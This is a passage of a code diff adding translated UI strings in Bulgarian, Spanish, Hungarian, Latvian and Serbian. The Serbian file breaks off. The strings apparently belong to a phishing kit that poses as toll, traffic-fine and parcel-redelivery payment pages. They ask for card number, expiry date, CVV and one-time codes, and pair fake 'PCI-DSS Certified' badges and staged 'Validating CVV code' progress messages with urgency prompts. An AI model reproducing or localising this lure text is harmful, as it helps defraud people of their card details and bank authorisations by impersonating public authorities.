"Thank you for your payment. The tolls have been processed successfully.": "Благодарим ви. Вашето плащане беше обработено успешно.",
|
||||||
|
"Phone": "Телефон",
|
||||||
|
"Toll Amount": "Обща сума",
|
||||||
|
payment_loading: {
|
||||||
|
modal_title: "Обработка на плащането",
|
||||||
|
modal_subtitle: "Моля, не затваряйте тази страница",
|
||||||
|
transaction_details: "Детайли за транзакцията",
|
||||||
|
transaction_id: "ID на транзакцията:",
|
||||||
|
processing_network: "Мрежа за обработка:",
|
||||||
|
processing_time: "Време за обработка:",
|
||||||
|
security_level: "Ниво на сигурност:",
|
||||||
|
preparing: "Подготовка...",
|
||||||
|
high: "Високо",
|
||||||
|
step_init: "Инициализиране на платежната среда...",
|
||||||
|
step_encrypt: "Криптиране на информацията за картата...",
|
||||||
|
step_connect: "Установяване на защитена връзка...",
|
||||||
|
step_verify_card: "Проверка на номера и издателя на картата...",
|
||||||
|
step_validate_cvv: "Проверка на CVV кода...",
|
||||||
|
step_fraud: "Проверка за риск от измама...",
|
||||||
|
step_send: "Изпращане на заявка за транзакция...",
|
||||||
|
step_wait_auth: "Изчакване на банково потвърждение...",
|
||||||
|
step_process_resp: "Обработка на банковия отговор...",
|
||||||
|
step_confirm: "Потвърждаване на статуса на транзакцията...",
|
||||||
|
step_finalize: "Финализиране на транзакцията...",
|
||||||
|
network_visa: "Visa защитена мрежа",
|
||||||
|
network_mastercard: "Mastercard глобална платежна мрежа",
|
||||||
|
network_amex: "Специализиран канал на American Express",
|
||||||
|
network_unionpay: "UnionPay платежен канал",
|
||||||
|
network_intl: "Международна платежна мрежа",
|
||||||
|
time_seconds: "{time} секунди",
|
||||||
|
},
|
||||||
|
};
|
||||||
122
a11_bg_Fine_kat-obligations/src/locales/es/index.ts
Normal file
@@ -0,0 +1,122 @@
|
|||||||
|
export default {
|
||||||
|
"There is an error in this field, please check": "Hay un error en este campo, por favor verifique",
|
||||||
|
"Please enter a valid email address": "Por favor, introduzca una dirección de correo electrónico válida",
|
||||||
|
"Dear users, please fill in the form carefully to ensure the successful delivery": "Estimados usuarios, por favor completen el formulario cuidadosamente para garantizar la entrega exitosa",
|
||||||
|
"Your Name": "Su nombre",
|
||||||
|
"Address": "Dirección",
|
||||||
|
"Detailed Address": "Dirección detallada",
|
||||||
|
"(Optional)": "(Opcional)",
|
||||||
|
"City": "Ciudad",
|
||||||
|
"State": "Estado",
|
||||||
|
"Province": "Provincia",
|
||||||
|
"Region": "Región",
|
||||||
|
"Zip Code": "Código postal",
|
||||||
|
"E-Mail": "Correo electrónico",
|
||||||
|
"Next": "Siguiente",
|
||||||
|
"Telephone Number": "Número de teléfono",
|
||||||
|
"Online": "En línea",
|
||||||
|
"Payment": "Pago",
|
||||||
|
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Para la reentrega, necesitamos cobrar algunas tarifas de servicio. Su paquete será reenviado después del pago",
|
||||||
|
"lump sum: ": "Suma total: ",
|
||||||
|
"Cardholder": "Titular de la tarjeta",
|
||||||
|
"Card Number": "Número de tarjeta",
|
||||||
|
"Expire Date": "Fecha de expiración",
|
||||||
|
"Security Code": "Código de seguridad",
|
||||||
|
"Submit": "Enviar",
|
||||||
|
"Click here to receive another code": "Haga clic aquí para recibir otro código",
|
||||||
|
"Please confirm your identity and a one-time code will be sent": "Por favor confirme su identidad y se enviará un código de un solo uso a su teléfono o correo electrónico. Ingrese el código de verificación aquí",
|
||||||
|
"The verification code has been sent to": "El código de verificación ha sido enviado a",
|
||||||
|
"Please do not click the": "Por favor no haga clic en los botones 'Actualizar' o 'Atrás' ya que esto podría terminar su transacción",
|
||||||
|
"Verification code error, please try again": "Error en el código de verificación, por favor intente nuevamente",
|
||||||
|
"The session is about to expire, please complete the verification now": "La sesión está a punto de expirar, por favor complete la verificación ahora",
|
||||||
|
"This card does not support this transaction, please try another card": "Esta tarjeta no admite esta transacción, por favor intente con otra tarjeta",
|
||||||
|
"Authorized bank": "Banco autorizado",
|
||||||
|
"Please go to the bank App to confirm the authorization": "Por favor ingrese a la aplicación bancaria para confirmar la autorización",
|
||||||
|
"Please do not close this page": "Por favor no cierre esta página",
|
||||||
|
"Payment Successful": "¡Pago exitoso!",
|
||||||
|
"Thank you for your purchase. Your payment has been processed successfully": "Gracias por su compra. Su pago se ha procesado con éxito",
|
||||||
|
"Mailing address": "Dirección postal",
|
||||||
|
"street address or house number": "Calle o número de casa",
|
||||||
|
"Apartment number": "Número de apartamento, habitación, etc.",
|
||||||
|
"Safe payment": "Pago seguro",
|
||||||
|
"Verification code": "Código de verificación",
|
||||||
|
"Welcome": "Bienvenido",
|
||||||
|
"back": "¡Atrás!",
|
||||||
|
"We reward you for using point services": "Le recompensamos por utilizar servicios de puntos",
|
||||||
|
"Check your points": "Consultar sus puntos",
|
||||||
|
"Phone number": "Número de teléfono",
|
||||||
|
"Inquire": "Consultar",
|
||||||
|
"Exchange": "Intercambiar",
|
||||||
|
"Spend points": "Gastar puntos",
|
||||||
|
"Points Available": "Puntos disponibles",
|
||||||
|
"You don't have enough points": "No tiene suficientes puntos",
|
||||||
|
"Please redeem your favorite product": "Por favor canjee su producto favorito",
|
||||||
|
"Confirm your shipping address": "Confirme su dirección de envío",
|
||||||
|
"Order number": "Número de pedido: ",
|
||||||
|
"Pay": "Pagar",
|
||||||
|
"Pay Message": "Pague {0} para canjear productos con puntos",
|
||||||
|
"Pay electronic tolls online": "Pagar peajes electrónicos en línea",
|
||||||
|
"your electronic toll payment was unsuccessful": "Su pago de peaje electrónico no fue exitoso.",
|
||||||
|
"Billing Information": "Información de facturación",
|
||||||
|
"Description": "Descripción",
|
||||||
|
"Dear customer": "Estimado cliente:",
|
||||||
|
"Electronic Communications Charge Payment Failed": "Error en el pago del cargo por comunicaciones electrónicas",
|
||||||
|
"Invoice Number": "Número de factura",
|
||||||
|
"Amount": "Monto",
|
||||||
|
"Pay Immediately": "Pagar ahora",
|
||||||
|
"Phone Number": "Número de teléfono",
|
||||||
|
"Electronic communication fee payment failed": "El pago de la tarifa de comunicación electrónica falló",
|
||||||
|
"Illustrate": "Ilustrar",
|
||||||
|
"SSL Encryption": "Cifrado SSL",
|
||||||
|
"PCI-DSS Certified": "Certificado PCI-DSS",
|
||||||
|
"Transaction Details": "Detalles de la transacción",
|
||||||
|
"Transaction ID:": "ID de transacción:",
|
||||||
|
"Processing Network:": "Red de procesamiento:",
|
||||||
|
"Processing Time:": "Tiempo de procesamiento:",
|
||||||
|
"Security Level:": "Nivel de seguridad:",
|
||||||
|
"Preparing...": "Preparando...",
|
||||||
|
"High": "Alta",
|
||||||
|
"Initializing payment environment...": "Inicializando entorno de pago...",
|
||||||
|
"Encrypting card information...": "Encriptando información de la tarjeta...",
|
||||||
|
"Establishing secure connection...": "Estableciendo conexión segura...",
|
||||||
|
"Verifying card number and issuer...": "Verificando número de tarjeta y emisor...",
|
||||||
|
"Validating CVV code...": "Validando código CVV...",
|
||||||
|
"Checking fraud risk...": "Comprobando riesgo de fraude...",
|
||||||
|
"Sending transaction request...": "Enviando solicitud de transacción...",
|
||||||
|
"Waiting for bank authorization...": "Esperando autorización del banco...",
|
||||||
|
"Processing bank response...": "Procesando respuesta del banco...",
|
||||||
|
"Confirming transaction status...": "Confirmando estado de la transacción...",
|
||||||
|
"Finalizing transaction...": "Finalizando transacción...",
|
||||||
|
"Visa Secure Network": "Red segura de Visa",
|
||||||
|
"Mastercard Global Payment Network": "Red global de pagos Mastercard",
|
||||||
|
"American Express Dedicated Channel": "Canal dedicado American Express",
|
||||||
|
"UnionPay Gateway": "Pasarela UnionPay",
|
||||||
|
"{time} seconds": "{time} segundos",
|
||||||
|
"International Payment Network": "Red de pagos internacional",
|
||||||
|
"Homepage License Plate": "Placa en la página de inicio",
|
||||||
|
"JCC Smart Cyprus Image": "Imagen JCC Smart Chipre",
|
||||||
|
"Check Your Payment Details": "Verifique los detalles de su pago",
|
||||||
|
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Ingrese la placa de su vehículo para verificar su cuenta y asegurar el pago oportuno del peaje para evitar multas.",
|
||||||
|
"Enter license plate number (e.g. XYZ1234)": "Ingrese número de placa (ej. XYZ1234)",
|
||||||
|
"Verify Payment Details": "Verificar detalles de pago",
|
||||||
|
"Toll Payment": "Pago de peaje",
|
||||||
|
"License Plate Number": "Número de placa",
|
||||||
|
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Información sobre infracciones de tráfico (por ejemplo, uso del teléfono móvil al conducir). Primera infracción <strong>50€</strong>, segunda <strong>150€</strong>, y así sucesivamente.",
|
||||||
|
"Tolls": "Peajes",
|
||||||
|
"Due Date": "Fecha de vencimiento",
|
||||||
|
"Fine Amount": "Monto de la multa",
|
||||||
|
"Pay Now": "Pagar ahora",
|
||||||
|
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Tenga en cuenta que, debido al pago tardío, esta transacción solo es válida para pagos con tarjeta de crédito.",
|
||||||
|
"Cardholder Name": "Nombre del titular",
|
||||||
|
"First and Last Name": "Nombre y apellido",
|
||||||
|
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
|
||||||
|
"Expiration Date": "Fecha de expiración",
|
||||||
|
"MM/YY": "MM/AA",
|
||||||
|
"123(CVV)": "123(CVV)",
|
||||||
|
"Card Icon": "Ícono de tarjeta",
|
||||||
|
"CVV": "CVV",
|
||||||
|
"Successful Toll Payment": "Pago de peaje exitoso",
|
||||||
|
"Thank you for your payment. The tolls have been processed successfully.": "Gracias por su pago. Los peajes han sido procesados con éxito.",
|
||||||
|
"Phone": "Teléfono",
|
||||||
|
"Toll Amount": "Monto del peaje",
|
||||||
|
};
|
||||||
81
a11_bg_Fine_kat-obligations/src/locales/hu/index.ts
Normal file
@@ -0,0 +1,81 @@
|
|||||||
|
export default {
|
||||||
|
"There is an error in this field, please check":
|
||||||
|
"Hiba történt ebben a mezőben, kérjük, ellenőrizze",
|
||||||
|
"Please enter a valid email address": "Kérjük, adjon meg egy érvényes e-mail címet",
|
||||||
|
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||||
|
"Kedves felhasználók, kérjük, gondosan töltse ki az űrlapot a sikeres kézbesítés érdekében",
|
||||||
|
"Your Name": "Az Ön neve",
|
||||||
|
"Address": "Cím",
|
||||||
|
"Detailed Address": "Részletes cím",
|
||||||
|
"(Optional)": "(Opcionális)",
|
||||||
|
"City": "Város",
|
||||||
|
"State": "Állam",
|
||||||
|
"Province": "Megye",
|
||||||
|
"Region": "Régió",
|
||||||
|
"Zip Code": "Irányítószám",
|
||||||
|
"E-Mail": "E-mail",
|
||||||
|
"Next": "Tovább",
|
||||||
|
"Telephone Number": "Telefonszám",
|
||||||
|
"Online": "Online",
|
||||||
|
"Payment": "Fizetés",
|
||||||
|
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||||
|
"A visszaszállításhoz bizonyos szolgáltatási díjakat kell felszámítanunk. A csomagot a fizetés után kézbesítjük újra",
|
||||||
|
"lump sum: ": "átalányösszeg: ",
|
||||||
|
"Cardholder": "Kártyatulajdonos",
|
||||||
|
"Card Number": "Kártyaszám",
|
||||||
|
"Expire Date": "Lejárati dátum",
|
||||||
|
"Security Code": "Biztonsági kód",
|
||||||
|
"Submit": "Küldés",
|
||||||
|
"Click here to receive another code": "Kattintson ide egy másik kód fogadásához",
|
||||||
|
"Please confirm your identity and a one-time code will be sent":
|
||||||
|
"Kérjük, erősítse meg személyazonosságát, és egy egyszeri kódot küldünk a mobiltelefonszámára vagy e-mail címére. Kérjük, itt adja meg az ellenőrző kódot",
|
||||||
|
"The verification code has been sent to":
|
||||||
|
"Az ellenőrző kódot elküldtük a következő címre:",
|
||||||
|
"Please do not click the":
|
||||||
|
"Kérjük, ne kattintson a 'Frissítés' vagy a 'Vissza' gombokra, mert ez megszakíthatja a tranzakciót",
|
||||||
|
"Verification code error, please try again":
|
||||||
|
"Ellenőrző kód hiba, kérjük, próbálja újra",
|
||||||
|
"The session is about to expire, please complete the verification now":
|
||||||
|
"A munkamenet hamarosan lejár, kérjük, fejezze be az ellenőrzést most",
|
||||||
|
"This card does not support this transaction, please try another card":
|
||||||
|
"Ez a kártya nem támogatja ezt a tranzakciót, kérjük, próbáljon meg egy másik kártyát",
|
||||||
|
"Authorized bank": "Engedélyezett bank",
|
||||||
|
"Please go to the bank App to confirm the authorization":
|
||||||
|
"Kérjük, menjen a banki alkalmazásba az engedélyezés megerősítéséhez",
|
||||||
|
"Please do not close this page": "Kérjük, ne zárja be ezt az oldalt",
|
||||||
|
"Payment Successful": "Sikeres fizetés!",
|
||||||
|
"Thank you for your purchase. Your payment has been processed successfully":
|
||||||
|
"Köszönjük a vásárlást. A fizetése sikeresen feldolgozva",
|
||||||
|
"Mailing address": "Levelezési cím",
|
||||||
|
"street address or house number": "utca vagy házszám",
|
||||||
|
"Apartment number": "Lakásszám, szobaszám stb.",
|
||||||
|
"Safe payment": "Biztonságos fizetés",
|
||||||
|
"Verification code": "Ellenőrző kód",
|
||||||
|
"Welcome": "Üdvözöljük",
|
||||||
|
"back":"vissza!",
|
||||||
|
"We reward you for using point services": "Megjutalmazzuk a pontszolgáltatások használatáért",
|
||||||
|
"Check your points": "Ellenőrizze a pontjait",
|
||||||
|
"Phone number": "Telefonszám",
|
||||||
|
"Inquire": "Érdeklődés",
|
||||||
|
"Exchange": "Csere",
|
||||||
|
"Spend points": "Pontok felhasználása",
|
||||||
|
"Points Available": "Elérhető pontok",
|
||||||
|
"You don't have enough points": "Nincs elég pontja",
|
||||||
|
"Please redeem your favorite product": "Kérjük, váltsa be kedvenc termékét",
|
||||||
|
"Confirm your shipping address": "Erősítse meg szállítási címét",
|
||||||
|
"Order number": "Rendelésszám: ",
|
||||||
|
"Pay": "Fizetés",
|
||||||
|
"Pay Message": "Fizessen {0}-t a pontok áruértékre váltásához",
|
||||||
|
"Pay electronic tolls online": "Fizessen elektronikus útdíjat online",
|
||||||
|
"your electronic toll payment was unsuccessful": "az elektronikus útdíj fizetése sikertelen volt.",
|
||||||
|
"Billing Information": "Számlázási adatok",
|
||||||
|
"Description": "Leírás",
|
||||||
|
"Dear customer": "Kedves vásárlónk:",
|
||||||
|
"Electronic Communications Charge Payment Failed": "Az elektronikus kommunikációs díj fizetése sikertelen",
|
||||||
|
"Invoice Number": "Számlaszám",
|
||||||
|
"Amount": "Összeg",
|
||||||
|
"Pay Immediately": "Fizessen azonnal",
|
||||||
|
"Phone Number": "Telefonszám",
|
||||||
|
"Electronic communication fee payment failed": "Az elektronikus kommunikációs díj fizetése sikertelen",
|
||||||
|
"Illustrate":"Szemléltet"
|
||||||
|
};
|
||||||
123
a11_bg_Fine_kat-obligations/src/locales/lv/index.ts
Normal file
@@ -0,0 +1,123 @@
|
|||||||
|
export default {
|
||||||
|
"There is an error in this field, please check": "Šajā laukā ir kļūda, lūdzu pārbaudiet",
|
||||||
|
"Please enter a valid email address": "Lūdzu, ievadiet derīgu e-pasta adresi",
|
||||||
|
"Dear users, please fill in the form carefully to ensure the successful delivery": "Cienījamie lietotāji, lūdzu, rūpīgi aizpildiet veidlapu, lai nodrošinātu veiksmīgu piegādi",
|
||||||
|
"Your Name": "Jūsu vārds",
|
||||||
|
"Address": "Adrese",
|
||||||
|
"Detailed Address": "Precīza adrese",
|
||||||
|
"(Optional)": "(Neobligāti)",
|
||||||
|
"City": "Pilsēta",
|
||||||
|
"State": "Valsts / Šķēršlis",
|
||||||
|
"Province": "Province",
|
||||||
|
"Region": "Reģions",
|
||||||
|
"Zip Code": "Pasta indekss",
|
||||||
|
"E-Mail": "E-pasts",
|
||||||
|
"Next": "Nākamais",
|
||||||
|
"Telephone Number": "Tālruņa numurs",
|
||||||
|
"Online": "Tiešsaistē",
|
||||||
|
"Payment": "Maksājums",
|
||||||
|
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Par atkārtotu piegādi mums jāiekasē pakalpojuma maksa. Jūsu sūtījums tiks atkārtoti piegādāts pēc maksājuma",
|
||||||
|
"lump sum: ": "Vienreizējs maksājums: ",
|
||||||
|
"Cardholder": "Kartes īpašnieks",
|
||||||
|
"Card Number": "Kartes numurs",
|
||||||
|
"Expire Date": "Derīguma termiņš",
|
||||||
|
"Security Code": "Drošības kods",
|
||||||
|
"Submit": "Iesniegt",
|
||||||
|
"Click here to receive another code": "Noklikšķiniet šeit, lai saņemtu citu kodu",
|
||||||
|
"Please confirm your identity and a one-time code will be sent": "Lūdzu, apstipriniet savu identitāti, un uz jūsu tālruni vai e-pastu tiks nosūtīts vienreizējs kods. Ievadiet verifikācijas kodu šeit",
|
||||||
|
"The verification code has been sent to": "Verifikācijas kods ir nosūtīts uz",
|
||||||
|
"Please do not click the": "Lūdzu, neklikšķiniet uz pogām",
|
||||||
|
"Verification code error, please try again": "Verifikācijas koda kļūda, lūdzu, mēģiniet vēlreiz",
|
||||||
|
"The session is about to expire, please complete the verification now": "Sesija drīz beigsies, lūdzu, pabeidziet verifikāciju tūlīt",
|
||||||
|
"This card does not support this transaction, please try another card": "Šī karte neatbalsta šo darījumu, lūdzu, izmēģiniet citu karti",
|
||||||
|
"Authorized bank": "Autorizēta banka",
|
||||||
|
"Please go to the bank App to confirm the authorization": "Lūdzu, dodieties uz bankas lietotni, lai apstiprinātu autorizāciju",
|
||||||
|
"Please do not close this page": "Lūdzu, neaizveriet šo lapu",
|
||||||
|
"Payment Successful": "Maksājums veiksmīgs!",
|
||||||
|
"Thank you for your purchase. Your payment has been processed successfully": "Paldies par pirkumu. Jūsu maksājums ir veiksmīgi apstrādāts",
|
||||||
|
"Mailing address": "Pasta adrese",
|
||||||
|
"street address or house number": "Ielas adrese vai mājas numurs",
|
||||||
|
"Apartment number": "Dzīvokļa numurs, istabas numurs utt.",
|
||||||
|
"Safe payment": "Drošs maksājums",
|
||||||
|
"Verification code": "Verifikācijas kods",
|
||||||
|
"Welcome": "Laipni lūdzam",
|
||||||
|
"back": "atpakaļ!",
|
||||||
|
"We reward you for using point services": "Mēs jūs apbalvojam par punktu pakalpojumu izmantošanu",
|
||||||
|
"Check your points": "Pārbaudiet savus punktus",
|
||||||
|
"Phone number": "Tālruņa numurs",
|
||||||
|
"Inquire": "Uzzināt",
|
||||||
|
"Exchange": "Apmainīt",
|
||||||
|
"Spend points": "Tērēt punktus",
|
||||||
|
"Points Available": "Pieejamie punkti",
|
||||||
|
"You don't have enough points": "Jums nav pietiekami daudz punktu",
|
||||||
|
"Please redeem your favorite product": "Lūdzu, izmantojiet savu iecienītāko produktu",
|
||||||
|
"Confirm your shipping address": "Apstipriniet savu piegādes adresi",
|
||||||
|
"Order number": "Pasūtījuma numurs: ",
|
||||||
|
"Pay": "Maksāt",
|
||||||
|
"Pay Message": "Maksāt {0}, lai izmantotu punktus par produktiem",
|
||||||
|
"Pay electronic tolls online": "Maksājiet elektroniskās nodevas tiešsaistē",
|
||||||
|
"your electronic toll payment was unsuccessful": "Jūsu elektroniskā nodevas apmaksa bija neveiksmīga.",
|
||||||
|
"Billing Information": "Norēķinu informācija",
|
||||||
|
"Description": "Apraksts",
|
||||||
|
"Dear customer": "Cienījamais klient!",
|
||||||
|
"Electronic Communications Charge Payment Failed": "Elektronisko sakaru maksas apmaksa neizdevās",
|
||||||
|
"Invoice Number": "Rēķina numurs",
|
||||||
|
"Amount": "Summa",
|
||||||
|
"Pay Immediately": "Maksāt nekavējoties",
|
||||||
|
"Phone Number": "Tālruņa numurs",
|
||||||
|
"Electronic communication fee payment failed": "Elektroniskās komunikācijas maksas apmaksa neizdevās",
|
||||||
|
"Illustrate": "Ilustrēt",
|
||||||
|
"SSL Encryption": "SSL šifrēšana",
|
||||||
|
"PCI-DSS Certified": "PCI-DSS sertificēts",
|
||||||
|
"Transaction Details": "Darījuma detaļas",
|
||||||
|
"Transaction ID:": "Darījuma ID:",
|
||||||
|
"Processing Network:": "Apstrādes tīkls:",
|
||||||
|
"Processing Time:": "Apstrādes laiks:",
|
||||||
|
"Security Level:": "Drošības līmenis:",
|
||||||
|
"Preparing...": "Gatavo...",
|
||||||
|
"High": "Augsts",
|
||||||
|
"Initializing payment environment...": "Inicializē maksājumu vidi...",
|
||||||
|
"Encrypting card information...": "Šifrē kartes informāciju...",
|
||||||
|
"Establishing secure connection...": "Veido drošu savienojumu...",
|
||||||
|
"Verifying card number and issuer...": "Pārbauda kartes numuru un izdevēju...",
|
||||||
|
"Validating CVV code...": "Validē CVV kodu...",
|
||||||
|
"Checking fraud risk...": "Pārbauda krāpšanas risku...",
|
||||||
|
"Sending transaction request...": "Sūta darījuma pieprasījumu...",
|
||||||
|
"Waiting for bank authorization...": "Gaida bankas autorizāciju...",
|
||||||
|
"Processing bank response...": "Apstrādā bankas atbildi...",
|
||||||
|
"Confirming transaction status...": "Apstiprina darījuma statusu...",
|
||||||
|
"Finalizing transaction...": "Pabeidz darījumu...",
|
||||||
|
"Visa Secure Network": "Visa drošais tīkls",
|
||||||
|
"Mastercard Global Payment Network": "Mastercard globālais maksājumu tīkls",
|
||||||
|
"American Express Dedicated Channel": "American Express veltītais kanāls",
|
||||||
|
"UnionPay Gateway": "UnionPay vārteja",
|
||||||
|
"{time} seconds": "{time} sekundes",
|
||||||
|
"International Payment Network": "Starptautiskais maksājumu tīkls",
|
||||||
|
"Homepage License Plate": "Mājaslapas numura zīme",
|
||||||
|
"JCC Smart Cyprus Image": "JCC Smart Kipras attēls",
|
||||||
|
"Check Your Payment Details": "Pārbaudiet savus maksājuma datus",
|
||||||
|
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Ievadiet sava transportlīdzekļa numura zīmes numuru, lai verificētu savu kontu un nodrošinātu savlaicīgu nodevas apmaksu, lai izvairītos no sodiem.",
|
||||||
|
"Enter license plate number (e.g. XYZ1234)": "Ievadiet numura zīmes numuru (piemēram, XYZ1234)",
|
||||||
|
"Verify Payment Details": "Pārbaudīt maksājuma datus",
|
||||||
|
"Toll Payment": "Nodevas apmaksa",
|
||||||
|
"License Plate Number": "Numura zīmes numurs",
|
||||||
|
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Informācija par ceļu satiksmes noteikumu pārkāpumiem (piemēram, mobilā tālruņa lietošana braukšanas laikā). Pirmais pārkāpums <strong>50€</strong>, otrais pārkāpums <strong>150€</strong> utt.",
|
||||||
|
"Tolls": "Nodevas",
|
||||||
|
"Due Date": "Maksājuma termiņš",
|
||||||
|
"Fine Amount": "Sods",
|
||||||
|
"Pay Now": "Maksāt tagad",
|
||||||
|
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Ņemiet vērā, ka sakarā ar novēlotu maksājumu šis darījums ir derīgs tikai kredītkaršu maksājumiem.",
|
||||||
|
"Cardholder Name": "Kartes īpašnieka vārds",
|
||||||
|
"First and Last Name": "Vārds un uzvārds",
|
||||||
|
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
|
||||||
|
"Expiration Date": "Derīguma termiņš",
|
||||||
|
"MM/YY": "MM/GG",
|
||||||
|
"123(CVV)": "123(CVV)",
|
||||||
|
"Card Icon": "Kartes ikona",
|
||||||
|
"CVV": "CVV",
|
||||||
|
"Successful Toll Payment": "Veiksmīga nodevas apmaksa",
|
||||||
|
"Thank you for your payment. The tolls have been processed successfully.": "Paldies par maksājumu. Nodevas ir veiksmīgi apstrādātas.",
|
||||||
|
"Phone": "Tālrunis",
|
||||||
|
"Toll Amount": "Nodevas summa",
|
||||||
|
"50.00 EUR": "50.00 EUR"
|
||||||
|
}
|
||||||
122
a11_bg_Fine_kat-obligations/src/locales/rs/index.ts
Normal file
@@ -0,0 +1,122 @@
|
|||||||
|
export default {
|
||||||
|
"There is an error in this field, please check": "Постоји грешка у овом пољу, молимо проверите",
|
||||||
|
"Please enter a valid email address": "Унесите важећу адресу е-поште",
|
||||||
|
"Dear users, please fill in the form carefully to ensure the successful delivery": "Поштовани корисници, молимо пажљиво попуните формулар како бисте осигурали успешну испоруку",
|
||||||
|
"Your Name": "Ваше име",
|
||||||
|
"Address": "Адреса",
|
||||||
|
"Detailed Address": "Детаљна адреса",
|
||||||
|
"(Optional)": "(Опционално)",
|
||||||
|
"City": "Град",
|
||||||
|
"State": "Савезна држава",
|
||||||
|
"Province": "Покрајина",
|
||||||
|
"Region": "Регија",
|
||||||
|
"Zip Code": "Поштански број",
|
||||||
|
"E-Mail": "Е-пошта",
|
||||||
|
"Next": "Следеће",
|
||||||
|
"Telephone Number": "Број телефона",
|
||||||
|
"Online": "На мрежи",
|
||||||
|
"Payment": "Плаћање",
|
||||||
|
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "За поновну испоруку потребно је платити одређене услуге. Ваш пакет ће бити поново испоручен након уплате",
|
||||||
|
"lump sum: ": "укупно: ",
|
||||||
|
"Cardholder": "Име носиоца картице",
|
||||||
|
"Card Number": "Број картице",
|
||||||
|
"Expire Date": "Датум истека",
|
||||||
|
"Security Code": "Сигурносни код",
|
||||||
|
"Submit": "Пошаљи",
|
||||||
|
"Click here to receive another code": "Кликните овде да добијете нови код",
|
||||||
|
"Please confirm your identity and a one-time code will be sent": "Потврдите свој идентитет и једнократни код ће бити послат на ваш телефон или е-пошту. Унесите код овде",
|
||||||
|
"The verification code has been sent to": "Код за потврду је послат на",
|
||||||
|
"Please do not click the": "Молимо вас да не кликћете на 'Освежи' или 'Назад' јер то може прекинути трансакцију",
|
||||||
|
"Verification code error, please try again": "Грешка у коду за потврду, покушајте поново",
|
||||||
|
"The session is about to expire, please complete the verification now": "Сесија ће ускоро истећи, молимо довршите верификацију",
|
||||||
|
"This card does not support this transaction, please try another card": "Ова картица не подржава ову трансакцију, покушајте са другом картицом",
|
||||||
|
"Authorized bank": "Овлашћена банка",
|
||||||
|
"Please go to the bank App to confirm the authorization": "Идите у апликацију банке да потврдите овлашћење",
|
||||||
|
"Please do not close this page": "Не затварајте ову страницу",
|
||||||
|
"Payment Successful": "Успешно плаћање!",
|
||||||
|
"Thank you for your purchase. Your payment has been processed successfully": "Хвала вам на куповини. Плаћање је успешно обрађено",
|
||||||
|
"Mailing address": "Адреса за доставу",
|
||||||
|
"street address or house number": "Улица или број куће",
|
||||||
|
"Apartment number": "Број стана, собе итд.",
|
||||||
|
"Safe payment": "Безбедно плаћање",
|
||||||
|
"Verification code": "Код за потврду",
|
||||||
|
"Welcome": "Добродошли",
|
||||||
|
"back": "Назад!",
|
||||||
|
"We reward you for using point services": "Награђујемо вас за коришћење услуга поена",
|
||||||
|
"Check your points": "Проверите ваше поене",
|
||||||
|
"Phone number": "Број телефона",
|
||||||
|
"Inquire": "Провери",
|
||||||
|
"Exchange": "Размена",
|
||||||
|
"Spend points": "Искористите поене",
|
||||||
|
"Points Available": "Доступни поени",
|
||||||
|
"You don't have enough points": "Немате довољно поена",
|
||||||
|
"Please redeem your favorite product": "Искористите своје поене за омиљени производ",
|
||||||
|
"Confirm your shipping address": "Потврдите адресу испоруке",
|
||||||
|
"Order number": "Број поруџбине: ",
|
||||||
|
"Pay": "Плати",
|
||||||
|
"Pay Message": "Платите {0} да бисте искористили поене за производе",
|
||||||
|
"Pay electronic tolls online": "Платите електронску путарину на мрежи",
|
||||||
|
"your electronic toll payment was unsuccessful": "Ваше плаћање путарине није успело.",
|
||||||
|
"Billing Information": "Подаци за обрачун",
|
||||||
|
"Description": "Опис",
|
||||||
|
"Dear customer": "Поштовани клијент:",
|
||||||
|
"Electronic Communications Charge Payment Failed": "Плаћање трошкова електронске комуникације није успело",
|
||||||
|
"Invoice Number": "Број фактуре",
|
||||||
|
"Amount": "Износ",
|
||||||
|
"Pay Immediately": "Платите одмах",
|
||||||
|
"Phone Number": "Број телефона",
|
||||||
|
"Electronic communication fee payment failed": "Плаћање накнаде за електронску комуникацију није успело",
|
||||||
|
"Illustrate": "Објасни",
|
||||||
|
"SSL Encryption": "SSL енкрипција",
|
||||||
|
"PCI-DSS Certified": "PCI-DSS сертификат",
|
||||||
|
"Transaction Details": "Детаљи трансакције",
|
||||||
|
"Transaction ID:": "ИД трансакције:",
|
||||||
|
"Processing Network:": "Мрежа за обраду:",
|
||||||
|
"Processing Time:": "Време обраде:",
|
||||||
|
"Security Level:": "Ниво безбедности:",
|
||||||
|
"Preparing...": "Припрема се...",
|
||||||
|
"High": "Висок",
|
||||||
|
"Initializing payment environment...": "Иницијализација окружења за плаћање...",
|
||||||
|
"Encrypting card information...": "Шифровање података картице...",
|
||||||
|
"Establishing secure connection...": "Успостављање сигурне везе...",
|
||||||
|
"Verifying card number and issuer...": "Провера броја картице и издаваоца...",
|
||||||
|
"Validating CVV code...": "Проверавање CVV кода...",
|
||||||
|
"Checking fraud risk...": "Провера ризика од преваре...",
|
||||||
|
"Sending transaction request...": "Слање захтева за трансакцију...",
|
||||||
|
"Waiting for bank authorization...": "Чекање одобрења банке...",
|
||||||
|
"Processing bank response...": "Обрада одговора банке...",
|
||||||
|
"Confirming transaction status...": "Потврда статуса трансакције...",
|
||||||
|
"Finalizing transaction...": "Завршетак трансакције...",
|
||||||
|
"Visa Secure Network": "Visa безбедна мрежа",
|
||||||
|
"Mastercard Global Payment Network": "Mastercard глобална мрежа за плаћање",
|
||||||
|
"American Express Dedicated Channel": "American Express наменски канал",
|
||||||
|
"UnionPay Gateway": "UnionPay пролаз",
|
||||||
|
"{time} seconds": "{time} секунди",
|
||||||
|
"International Payment Network": "Међународна мрежа за плаћање",
|
||||||
|
"Homepage License Plate": "Почетна регистрација возила",
|
||||||
|
"JCC Smart Cyprus Image": "JCC Smart Kipar слика",
|
||||||
|
